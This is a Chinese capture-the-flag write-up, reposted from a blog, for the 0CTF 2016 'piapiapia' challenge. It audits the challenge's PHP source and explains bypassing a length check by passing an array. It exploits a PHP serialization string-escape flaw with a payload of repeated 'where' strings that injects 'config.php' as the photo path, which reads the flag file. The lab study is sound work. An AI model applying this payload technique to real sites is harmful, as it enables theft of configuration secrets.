ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

BUUCTF:[0CTF 2016]piapiapia -----代码审计+字符串逃逸+数组绕过长度限制+以及一下小知识点

2021-02-22 16:31:52  阅读:221  来源: 互联网

标签:profile 知识点 php 0CTF 序列化 phone POST 2016 nickname


目录:

一、知识点:

1.url传入数组绕过长度限制??

在这里插入图片描述就是判断你输入字符串不能够太长的时候,
用数组可以进行绕过;
在这里插入图片描述

2.数组的遍历

两种遍历方法

foreach(array_expression as $value)

foreach(array_expression as $key => $value)

第一种格式便利,给定的 array_expression 数组。每次循环,当前单元的值被赋值给$value,并且数组内部的指针向前移动一步(因为下一次循环将会得到下一个单元)

第二种格式也是做相同的事情,只是除了当前单元的值赋给$value之外,键名也会在每次循环中被赋给变量$key。

<?php
$arr = array(1,2,3,4);
foreach ($arr as &$value){//地址传参
    $value = $value*2;
}
// array $arr now is (2,4,6,8)
unset($value);//销毁$value变量
<?php
$a = array(
    "one"=>1,
    "two"=>2,
    "three"=>3,
    "five"=>5
);
foreach ($a as $k => $v){
    echo "\$a[$k]=>$v  ";
}
输出:$a[one]=>1  $a[two]=>2  $a[three]=>3  $a[five]=>5

3.数组绕过正则

  1. md5(Array()) = null
  2. sha1(Array()) = null
  3. ereg(pattern,Array()) =null
  4. preg_match(pattern,Array()) = false
  5. strcmp(Array(), “abc”) =null
  6. strpos(Array(),“abc”) = null
  7. strlen(Array()) = null
    在这里插入图片描述

二、我自己的做题尝试:

源码都弄下来了,但是分析,代码审计技能点还没有点,,,
懵逼中,
我看到了读取文件什么的,也看到了serialize和unserialize和session。
猜测可能是序列化和反序列化,应该不是session的序列化, 因为session不可控。
然后又关于数据库的操作。但是在尝试的时候,不报错,sql注入不是了,

三、不足:

  1. 看到config.php里面的内容了,
    在这里插入图片描述
    我就没有反应过来flag再config.php中,,,,因为后面WP取flag就是取自config.php中的,我就愣是没反应过来,
  2. 对于数组能够绕过字符串检查长度不会,这个得get,
  3. 还学了一个反引号命令执行?,可能不是在这个题上学的,反正是在学这个题的时候学的。。。

四、学习WP

1.学习一个大佬的思路:

  1. 熟悉网站结构:
    class.php里有一些重要的函数
    update.php和profile.php中一个是上传文件,一个是获取文件,
    最重要的是config.php。我们看到flag在里面。

  2. 根据前端流程 查看可疑函数
    注册和登陆那块就不看了,主要的突破点是 上传资料显示资料 这里。

首先是update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];//找到文件,判断文件大小
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

有一堆正则表达式来过滤我们提交的数据,而且第三个正则表达式和前两个不一样。这里判断了nickname是否为 字符, 还有长度是否超过10,
这里,如果我们 传入nickname为数组的话,就可以绕过长度限制,不会die出的

在代码的后面调用update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以大胆的尝试用反序列化漏洞来搞一下

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));

我们再看看update_profile()到底是个啥,使用全局搜索我们在class.php中看到了定义的update_profile()方法

	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

再看一下针对 $new_profile的函数filter()

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);//过滤\和\\的,替换成_

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}//将这些关键词替换成为hacker。要敏感,与serialize和unserialize相关的导致字符串长度变化的,
	public function __tostring() {
		return __class__;
	}
}

update.php我们基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为’hacker’

再看看profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

我们可以看到这里有反序列化还有文件读取,而且是同一个变量 $profile[‘photo’]
我们对这道题应该有了大致的思路了。
flag在config.php中,而且有序列化,过滤替换,反序列化,文件读取,这不就是CTF中反序列字符逃逸的常见套路吗。我们构造包含config.php的数据,利用字符串逃逸,在profile.php中读取出来

Over。

2.学习 另一个大佬的思路 —这个过于跳跃,看上一个把,,

都审计了一遍,他没有全部仔细看,但是全部看完了。说这里有问题。:
算了,思路炒大佬得了,学习思路。

可以在 config.php中看到flag。然后看到profile.php中又 file_get_contents()函数的时候,大佬尽然想到了会有序列化的事情,真是有题感了?

profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));

读取photo的内容。我们让 $profile[‘photo’]是 config.php就好了,这样就可以得到flag了。面的利用可以通过序列化和反序列化来。

五、思路学完了,自己做做看看。

		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));

这里是将一整个数组进行序列化呀,,有点麻烦那,
然后

	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

变量就变成了 new_profile 这个变量了。

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

然后是将这个一整个序列化的字符串进行过滤,替换
问题是:
我怎么知道序列化之后的字符串的具体是什么样子的。我才能够进行换一换啊,这要在本地进行实验的。

然后进行unserialzie进行读取,进行 字符串逃逸 ,就在上一步,

	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));

那么本地实现的话,就先按照他的这个循序来吧。
phone ,email,nickname,photo

我本来是在本地搭建的,可可是那个 上传文件 不行,其实总体上来说本地搭建是可以的。
但是直接在burp上也型。
可以先在本地上初步实验,然后再在burp上搞。

本地测试这里真的是精华呀,,,没啥别的意思,纪念一下。。
自己测试出来是真滴爽快啊
在这里插入图片描述

由于我多加了一个,所以要把我们添加的字符串放到 nickname这个变量后面,
其实也只有nickname可以用数组来绕过。然后 本来多加了,所以过滤后的字符数量要变多才行。
才能够把我们多加的数据给挤出来。所以要比hacker少
在这里插入图片描述
只有where少,所以用where。
这个是post提交的参数,我在本地嫌前面的挡害,就没提供参数,不影响的。
在这里插入图片描述

然后再看一看我们需要挤出来多少个字符?我这个nickname只输入了一个1。所以看的时候 从 1后面看,然后 两边的双引号是人家本来就带着的。也不看,

大概就是这样的。看灰色的那一块。
在这里插入图片描述
灰色的34个字符都是我们要挤出来的。这些是我们多余添加的

所以我们过滤之后要边长34个字符,所以用34个where,然后变成34个hacker
就能够ji出来了

最重要的那一块payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

在这里插入图片描述
然后发包

在这里插入图片描述

会报错,应该的嘛,让你输入字符串,你都输入数组了,能不报错马????
然后进profile

base64编码了,看一下,解一下 米就有了

在这里插入图片描述

在这里插入图片描述

标签:profile,知识点,php,0CTF,序列化,phone,POST,2016,nickname
来源: https://blog.csdn.net/Zero_Adam/article/details/113934085

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有